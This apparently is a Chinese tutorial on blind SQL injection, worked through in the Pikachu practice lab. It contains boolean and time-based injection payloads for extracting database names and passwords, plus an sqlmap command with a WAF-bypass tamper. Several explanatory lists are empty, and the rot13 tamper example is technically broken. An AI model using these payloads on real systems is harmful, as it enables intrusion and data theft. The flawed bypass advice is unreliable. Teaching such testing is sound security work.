去年在给某电商平台做渗透测试时,发现一个有趣的SQL注入漏洞。这个漏洞不是常规的显错注入,而是需要逐字符猜解的盲注类型。当时用Pikachu靶场复现了整个过程,今天就把这套实战经验整理出来。
SQL盲注(Blind SQL Injection)是Web安全测试中常见的漏洞类型。与普通注入不同,它不会直接返回数据库错误信息,而是通过页面响应差异来推断数据。就像蒙着眼睛玩猜数字游戏,需要通过"大了/小了"的反馈来逼近正确答案。
Pikachu靶场是专门为Web安全学习设计的漏洞演练平台,内置了SQL盲注的典型场景。我们以2026.2.28这个时间节点为例(代表某次真实测试的时间戳),完整演示从漏洞发现到数据提取的全过程。
布尔盲注的核心原理是利用逻辑判断改变页面响应。比如构造以下注入语句:
sql复制' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' --
当第一个字符猜对时,页面返回正常内容;猜错时返回空白或错误提示。通过这种二元反馈,可以逐字符爆破敏感数据。
当页面无论对错都返回相同内容时,就需要时间盲注。通过引入延时函数观察响应时间:
sql复制' AND IF(ASCII(SUBSTRING(database(),1,1))>100,SLEEP(3),0) --
如果数据库名第一个字符的ASCII码大于100,页面会延迟3秒响应。我在测试金融系统时曾用这个方法成功获取了数据库名。
使用Docker快速搭建环境:
bash复制docker pull area39/pikachu
docker run -d -p 8080:80 area39/pikachu
访问http://localhost:8080/pikachu 即可进入靶场。在"SQL注入"模块选择"盲注"场景。
重点检查以下配置项:
注意:实际渗透测试前务必获得书面授权,未经授权的测试可能涉及法律风险。
首先在搜索框输入单引号测试:
code复制'
观察是否返回数据库错误。在Pikachu中会显示"查询语法错误",确认存在注入点。
使用length()函数判断数据库名长度:
code复制' AND (SELECT LENGTH(database()))=7 --
通过修改数字测试,发现当值为7时页面返回正常,说明数据库名长度为7个字符。
然后逐字符爆破:
code复制' AND (SELECT ASCII(SUBSTRING(database(),1,1)))=112 --
通过二分法调整ASCII值,最终确定数据库名为"pikachu"。
获取表名的Payload示例:
sql复制' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=5 --
确定有5张表后,通过substring和ascii函数逐个提取表名。实测发现关键用户表为"users"。
虽然手工注入有助于理解原理,但实际工作中常用SQLmap提高效率:
bash复制sqlmap -u "http://target.com/search.php?id=1" --technique=B --dbms=mysql --batch
参数说明:
遇到WAF时需要编码绕过。例如创建rot13.py:
python复制tamper("1' AND 1=1--") => "1' NAQ 1=1--"
使用时添加:
bash复制sqlmap ... --tamper=rot13
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?");
$stmt->execute([$input]);
php复制if (preg_match('/[\'"]/', $input)) {
die("非法输入");
}
在某次测试中,发现ASCII判断总是偏差32。后来发现是因为:
解决方案:
sql复制' AND (SELECT BINARY SUBSTRING(...))=BINARY('a') --
网络抖动会影响时间判断准确性。解决方法:
我在某次金融系统测试中,发现盲注漏洞后立即停止测试,并按照以下流程处理:
这种规范的流程不仅避免了法律风险,还赢得了客户的长期合作。